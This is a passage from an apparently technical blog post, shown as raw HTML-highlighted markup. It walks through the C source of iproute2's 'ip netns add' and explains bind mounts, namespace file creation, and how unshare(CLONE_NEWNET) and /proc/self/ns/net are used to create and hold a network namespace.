&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;871
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;872
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;873
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;874
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;875
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;876
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;877
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;878
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;879
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;880
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;881
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;mount --make-shared %s failed: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;strerror&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;nf&#34;&gt;flock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LOCK_UN&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;nf&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;cm&#34;&gt;/* Upgrade NETNS_RUN_DIR to a mount point */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;mount&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MS_BIND&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MS_REC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;NULL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Another semi-magical &lt;code&gt;mount&lt;/code&gt; invocation.
What is &lt;code&gt;MS_BIND&lt;/code&gt;?
From the &lt;code&gt;mount(2)&lt;/code&gt; manual page:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If  mountflags  includes MS_BIND (available since Linux 2.4), then perform a bind mount.  A bind mount
makes a file or a directory subtree visible at another point within the  single  directory  hierarchy.
Bind mounts may cross filesystem boundaries and span chroot(2) jails.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But, &lt;code&gt;source&lt;/code&gt; and &lt;code&gt;target&lt;/code&gt; are the same.
What does it mean?
The explanation is in the &lt;code&gt;pivot_root(2)&lt;/code&gt; man page, not in the mount man page!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A path that is not already a mount point can be converted into one by bind mounting the path onto itself.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, this call converts &lt;code&gt;/var/run/netns&lt;/code&gt; to be a mount point, so that, through &lt;code&gt;MS_REC&lt;/code&gt;, this dir and any mounts inside it (we will get to those soon) can be shared between mount namespaces.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;882
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;883
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;884
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;885
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;886
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;887
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;888
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;889
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;890
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;891
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;892
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;893
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;894
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;895
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;mount --bind %s %s failed: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;strerror&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;nf&#34;&gt;flock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LOCK_UN&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;nf&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;made_netns_run_dir_mount&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;flock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LOCK_UN&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;End of danger zone.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;897
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;898
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;cm&#34;&gt;/* Create the filesystem state */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;fd&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;O_RDONLY&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;O_CREAT&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;O_EXCL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Remember, &lt;code&gt;netns_path&lt;/code&gt; is &lt;code&gt;/var/run/netns/foo&lt;/code&gt;.
This simply creates a plain empty file.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;899
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;900
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;901
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;902
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;903
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;904
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fd&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Cannot create namespace file &lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;strerror&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;The file does not need any special contents, so we immediately close it again.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;906
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;907
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;908
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;create&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;netns_save&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;unshare&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CLONE_NEWNET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;This is where the real magic begins.
It turns out, there is no system call for just creating a new namespace and getting a handle to it.
(A handle for a namespace is an FD.
If the last FD holding onto a namespace is closed, the namespace disappears.)
The only way to create a new namespace is to call &lt;code&gt;unshare&lt;/code&gt;.
This disconnects the calling process from the namespace it was in, and puts it in a fresh one.
The &lt;code&gt;CLONE_NEWNET&lt;/code&gt; argument tells the kernel that we only want this to happen for the network namespace.&lt;/p&gt;
&lt;p&gt;But! &lt;code&gt;ip&lt;/code&gt; never wanted to live in another namespace.
It only wanted to make one!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netns_save()&lt;/code&gt; looks like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;saved_netns&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;/proc/self/ns/net&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;O_RDONLY&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;O_CLOEXEC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The FD returned from &lt;code&gt;open&lt;/code&gt; becomes a handle to the network namespace &lt;code&gt;ip&lt;/code&gt; was started from.
In many cases, this will be the initial namespace, that does not have a name.
(Remember, the kernel does not know about names for namespaces at all!)&lt;/p&gt;
&lt;p&gt;So, we get a handle to our original namespace, we disconnect from it (&lt;code&gt;unshare&lt;/code&gt;), and now the &lt;code&gt;ip&lt;/code&gt; process is running in an entirely new and fresh network namespace.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;ip&lt;/code&gt; exited now, that new and fresh network namespace would immediately disappear!
So, we are not done yet.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;909
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;910
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;911
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;912
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;913
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;914
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Failed to create a new network namespace &lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;strerror&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;k&#34;&gt;goto&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;out_delete&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;strcpy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;proc_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;/proc/self/ns/net&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
